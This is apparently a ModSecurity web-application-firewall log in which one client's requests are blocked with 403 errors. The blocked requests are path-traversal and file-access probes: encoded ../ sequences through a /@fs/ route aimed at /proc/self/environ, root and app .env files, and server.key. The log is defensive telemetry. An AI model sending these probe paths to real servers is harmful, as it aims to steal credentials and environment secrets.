[Sun Oct 25 22:08:52.253572 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at62NFDKe3Jk6NXMvqM5OAAAAB0"]
[Sun Oct 25 22:08:52.253839 2026] [security2:error] [pid 2943066:tid 2943066] [client 34.81.7.133:40448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at62NFDKe3Jk6NXMvqM5OAAAAB0"]
[Sun Oct 25 22:08:52.257445 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62NAo4OiAv7EzdRZ1MEgAAABI"]
[Sun Oct 25 22:08:52.257734 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at62NAo4OiAv7EzdRZ1MEgAAABI"]
[Sun Oct 25 22:08:52.192584 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62M1KNdIrfpEod-HqEDgAAACo"]
[Sun Oct 25 22:08:52.260333 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62M1KNdIrfpEod-HqEDgAAACo"]
[Sun Oct 25 22:08:52.485691 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at62NILcv9dw313oUE9-BAAAAAM"]
[Sun Oct 25 22:08:52.486156 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at62NILcv9dw313oUE9-BAAAAAM"]
[Sun Oct 25 22:08:52.486581 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at62NILcv9dw313oUE9-BAAAAAM"]
[Sun Oct 25 22:08:52.038041 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at62M8INuYGcKPT7MqENTwAAACQ"]
[Sun Oct 25 22:08:52.504618 2026] [security2:error] [pid 2943079:tid 2943079] [client 34.81.7.133:40514] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NO41yGfNSIehiA02lwAAACw"]
[Sun Oct 25 22:08:52.505228 2026] [security2:error] [pid 2943079:tid 2943079] [client 34.81.7.133:40514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NO41yGfNSIehiA02lwAAACw"]
[Sun Oct 25 22:08:52.250579 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NBaKu-Zjs56a5J4sFAAAAAo"]
[Sun Oct 25 22:08:52.529786 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NBaKu-Zjs56a5J4sFAAAAAo"]
[Sun Oct 25 22:08:52.530100 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NBaKu-Zjs56a5J4sFAAAAAo"]
[Sun Oct 25 22:08:52.251389 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at62NMqAWG0KXU7cDUAgSwAAACY"]
[Sun Oct 25 22:08:52.530740 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at62NMqAWG0KXU7cDUAgSwAAACY"]
[Sun Oct 25 22:08:52.531010 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at62NMqAWG0KXU7cDUAgSwAAACY"]
[Sun Oct 25 22:08:52.252231 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NJOM_hg2_5C4qplHfgAAAC4"]
[Sun Oct 25 22:08:52.531803 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NJOM_hg2_5C4qplHfgAAAC4"]
[Sun Oct 25 22:08:52.532088 2026] [security2:error] [pid 2943080:tid 2943080] [client 34.81.7.133:40518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NJOM_hg2_5C4qplHfgAAAC4"]
[Sun Oct 25 22:08:52.252861 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.547468 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at62NDbTjnVH12qwK530gAAAABw"]
[Sun Oct 25 22:08:52.547769 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NF2gI0wACY59VBumRQAAACA"]
[Sun Oct 25 22:08:52.548030 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at62NF2gI0wACY59VBumRQAAACA"]
[Sun Oct 25 22:08:52.610503 2026] [security2:error] [pid 2943079:tid 2943079] [client 34.81.7.133:40514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at62NO41yGfNSIehiA02lwAAACw"]
[Sun Oct 25 22:08:52.662618 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at62M8INuYGcKPT7MqENTwAAACQ"]
[Sun Oct 25 22:08:52.872261 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at62M8INuYGcKPT7MqENTwAAACQ"]
[Sun Oct 25 22:08:53.228746 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcqAWG0KXU7cDUAgTAAAACY"]
[Sun Oct 25 22:08:53.229314 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcqAWG0KXU7cDUAgTAAAACY"]
[Sun Oct 25 22:08:53.229573 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcqAWG0KXU7cDUAgTAAAACY"]
[Sun Oct 25 22:08:53.230591 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at62NV2gI0wACY59VBumRgAAACA"]
[Sun Oct 25 22:08:53.230640 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at62NQo4OiAv7EzdRZ1MEwAAABI"]
[Sun Oct 25 22:08:53.231044 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at62NQo4OiAv7EzdRZ1MEwAAABI"]
[Sun Oct 25 22:08:53.231112 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at62NV2gI0wACY59VBumRgAAACA"]
[Sun Oct 25 22:08:53.231265 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at62NQo4OiAv7EzdRZ1MEwAAABI"]
[Sun Oct 25 22:08:53.231351 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at62NV2gI0wACY59VBumRgAAACA"]
[Sun Oct 25 22:08:53.232361 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcINuYGcKPT7MqENUAAAACQ"]
[Sun Oct 25 22:08:53.232719 2026] [security2:error] [pid 2943072:tid 2943072] [client 34.81.7.133:40422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62NcINuYGcKPT7MqENUAAAACQ"]
